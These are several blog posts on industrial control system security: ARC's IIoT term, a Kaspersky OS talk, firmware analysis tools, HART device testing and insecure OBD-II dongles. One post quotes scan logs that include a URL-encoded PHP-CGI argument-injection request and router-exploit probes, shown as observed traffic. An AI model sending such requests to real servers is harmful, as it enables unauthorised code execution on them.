First in a series on IIoT, Industrial Internet and Industrie 4.0.
I attended the ARC Forum last month in Orlando, and the theme was what ARC has coined as the Industrial Internet of Things (IIoT). Theme does not accurately describe the emphasis. Every session was described in terms of the IIoT, and if the speaker did not bring up IIoT, the moderator from ARC did. Even a classic SCADA or DCS implementation that had been running for 5+ years was described as IIoT.
I’ve read the ARC white papers on the IIoT, talked with a few ARC Analysts, and reflected on my ARC experience, and my conclusion is that IIoT is a vacuous term of no value to the ICS community.
The term IIoT has no value to traditional SCADA, DCS and ICS. The fact that ICS continues a decade long trend to move to digital communication and monitoring more data is important. Calling it IIoT does not help us understand, architect, deploy or secure it better.
IIoT as a general term does not help us understand the benefits and requirements for the variety of use cases.
This is probably the most important point. At the ARC Forum, IIoT was used as a generic term for anything control system or control system data related, and the importance of securing IIoT was almost always included generically in the discussion. Beyond saying that IIoT implementations should be “secure by design”, little guidance was provided or specifics discussed.In fact it is very hard to identify the security requirements for a general term that involves different confidentiality, integrity and availability requirements, involves a variety of trusted zone scenarios, different user scenarios, different physical environments, …In order for IIoT to be useful, it would need to be divided into use cases or a taxonomy developed. Good practice security controls could then be specified for a well defined use case. The problem with this approach is …
Many of the more important use cases have a developing lexicon that IIoT makes less specific and more confusing.The example getting the most attention in the ARC documents is sending ICS data out so it can be analyzed for preventive maintenance and process efficiencies. There are tremendous opportunities in this growing field, but a set of terms are already developed around “the cloud” and “big data”. It is actually a step back to roll this up into a new general term that encompasses many other use cases with very different requirements.
The one area that IIoT might be an apt term for is vendor communication and interaction to consumer devices, but this is the Internet of Things (IoT).
Kaspersky announced their project to develop a Control System OS back in October 2012. We tried to get them to present some details on the design criteria and goals at S4x13 and S4x14 without success. So we were very happy to have Andrey Nikishin give a session on the Kaspersky.
In this video you will see:
– the OS is for “embedded connected devices” (examples given: Smart Grid, PLC, Medical Devices, Network Appliances, Automobiles)
– the OS is not a clone of any *nix
– a broad view of the architecture including separating the microkernal from the security server. The security server determines the “security verdict” for all communication.
– the concept of a “verdict cache”
There still are many unanswered questions, and Andrey forestalled these questions by asking the questions he would not answer at the end of the session.
The ICS Security Research Newsletter has been dormant for a while now, but Reid Wightman and the team at Digital Bond Labs has resurrected it. They are committed to at least a quarterly issue in 2015.
The first issue for 2015 includes:
Information on the IBAL extensions for IDA Pro
Equipment Disposal Failures
Latest Project Redpoint ICS Enumeration Scripts
Auto Hacking x 2
Additional items we found interesting, novel or important.
Details on Stuxnet version 0.5 that only spread through Siemens project files
The Unsolicited Response Podcast has been inactive for a while now, which is a shame because I enjoy doing it and get a lot of positive feedback. Much of the difficulty in recording the podcast has been solved now that I have a very mobile podcast rig that I can bring with while traveling.
I’m committed to a minimum of 20 podcasts in 2015, and there are a few compelling guests already lined up. We will wait until five episodes are recorded before bringing on podcast sponsors, but let us know if you are interested in sponsoring Unsolicited Response.
The ARC Advisory Group invited me to participate in one of the security panels at the annual ARC Forum this week in Orlando. It’s an event I always wanted to check out so I spoke and attended. Here are some brief thoughts from the event.
The best part of the event is the large number of ICS owner/operators that attend. This includes many higher level attendees, people that can drive strategy and decisions.
Some of the asset owner attendees presented great case studies. Nothing related to security, but as an example Pitney Bowes talked about their Big Data efforts, setbacks and successes in the last ten months.
The only useful case study on security I attended was from Tyler Williams of Shell. They have been working on security for years and have a program now focused on 11 controls they can measure.
In a continuing regrettable string of events, Gregory Touhill from DHS missed or passed on another opportunity to tell this audience their ICS are insecure and need to be upgraded or replaced. Instead he just gave pablum, cyber watch, here are DHS programs, … He’s a good speaker and could have delivered an important and powerful message, but it appears DHS is happy with the status quo as long as we share information better.
The vendor exhibits were quite interesting to me as I hadn’t seen some of the newer versions or offerings, such as Bedrock Automation new controller, the progress made in the GUI and capabilities in Industrial Defenders ASM, the NextNine solution that is powering the Yokogawa/Cisco/Shell support, and PAS application for change control + security.
What ARC calls the Industrial Internet of Things (IIoT) was part of almost every session. They are calling existing ICS and ICS functions as IIoT. It’s almost impossible to talk about security of IIoT in a productive manner when everything is IIoT, “everything will communicate with everything” is the main description, and there is no taxonomy or organized set of use cases to discuss specific security needs. I saw very little value in the discussions of securing the IIoT at the event, including my contribution in the panel.
The pronouncements on what the IIoT would and should allow or look like were frightening, especially during an ARC keynote on Tuesday. There was about 5 minutes when my jaw was on the floor.
I need at least five long blogs to discuss the IoT issues and what ARC calls the IIoT. I’ll develop those over the next few weeks.
Digital Bond Labs has been using the IDA Pro API to extend it and make it even more useful for gray / black box testing. At S4x15 Reid Wightman, who heads up the Labs, introduced the first IDA Binary Analysis Library (IBAL) that are released for public consumption on our GitHub.
The goal of IBAL is to improve the state of firmware analysis.
Fuzzing will find a lot of protocol parsing vulnerabilities, but it can also miss a lot of protocol parsing vulnerabilities.
The early IBAL modules start with entry point analysis and then builds up a list of accessible instructions from that entry point. Then a researcher looks for coding mistakes in that accessible code.
Watch the video for a much better technical description of IBAL and how to use it.
Alexander Bolshev of Digital Security in Russia gave a great talk at S4x14 on exploiting vulnerabilities in the HART protocol and devices. His latest research is testing a large number of field devices accessible via the FDT Group’s Device Type Manager (DTM) protocol. According to the FDT Group, “DTM provides a unified structure for accessing device parameters, configuring and operating the devices, and diagnosing problems.”
As you might expect, Alexander found a number of vulnerabilities, and they are beginning to show up on ICS-CERT as vendors fix these problems. However, the more interesting aspect of the research is how his team efficiently tested a large number of DTM’s. Specifically 114 HART DTMs from 24 vendors that were used in 752 products. This represented a 10% sample of the HART DTMs. And the team had to do this in one month.
Watch the video to see the challenges and how they overcame them. The one that seemed quite nasty was “DeviceDTM will send the next command only when it gets the correct answer to the previous command”.
I thought I would write a quick post to share some interesting web logs. I set up a very temporary server to make the CANBus Hacking class materials available for attendees.
The server was available for about a week and not connected to anything or linked from anywhere other than on email servers.
[Wed, 21 Jan 2015 10:58:57 GMT] "GET /muieblackcat" "undefined"
[Wed, 21 Jan 2015 14:21:11 GMT] “POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E” “Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25″
[Sun, 25 Jan 2015 23:37:46 GMT] “GET /tmUnblock.cgi” “undefined”
if an individual has credible evidence of a potential vulnerability related to our device, we would prefer that the person would first disclose that potential vulnerability to us so that we could evaluate it and, if necessary, correct it before the vulnerability could be exploited.
What Corey pointed out, in a manner similar to Project Basecamp did with PLC’s, is that these systems are insecure by design. The vendor, Xirgo Technologies, surely knows they didn’t include even basic security controls in their design. This is not news to them. If it was news to Progressive, then they did not perform a rudimentary security analysis before making this available to potential customers.
The best analogy I have come up with so far is storing cash, jewelry and other valuables in a vacant house. The house has no doors, no windows, no alarms, no neighbors watching, no security at all. All that is required is a thief to say I want those valuables, walk in and take them. Is it really necessary to tell the owner of those valuables that a thief can walk into that house because it lacks security? Surely he knows and accepted this.
Corey also briefly points out that a look at the code indicates that basic secure coding practices were not used in the development. It is likely rife with vulnerabilities. Even if the doors and windows with locks are put on the house, the walls are paper, 襖, relying on attackers to respect the illusion of a solid wall.
In the Forbes article Progressive also said, “The safety of our customers is paramount to us.” I’m sure this is true, and they likely have a robust security program around their e-commerce and customer web site projects. Progressive, and other vendors offering these dongles, need to be progressive and extend their security programs to these products that provide remote access to the OBD-II port on your vehicle.
This is a bigger problem than OBD-II dongles. Reid’s session from last October at S4xJapan showed Hitachi and Sanyo Denki using the CoDeSys runtime library without evaluating the security vulnerabilities and deficiencies of that code. Vendor’s buying devices, components and software need to assess the security of the product before they sell or provide it to customers.
Ironically, this was not a very good project for Digital Bond Labs. They work with vendors to find vulnerabilities so they can be fixed before product release, an external red team so to speak. The Snapshot dongle did not require finding and exploiting vulnerabilities. Security needs to be integrated into the design and then it is worthy of an internal or external red team to give it a hard shake to see if their are any latent vulnerabilities.
First in a series on IIoT, Industrial Internet and Industrie 4.0.
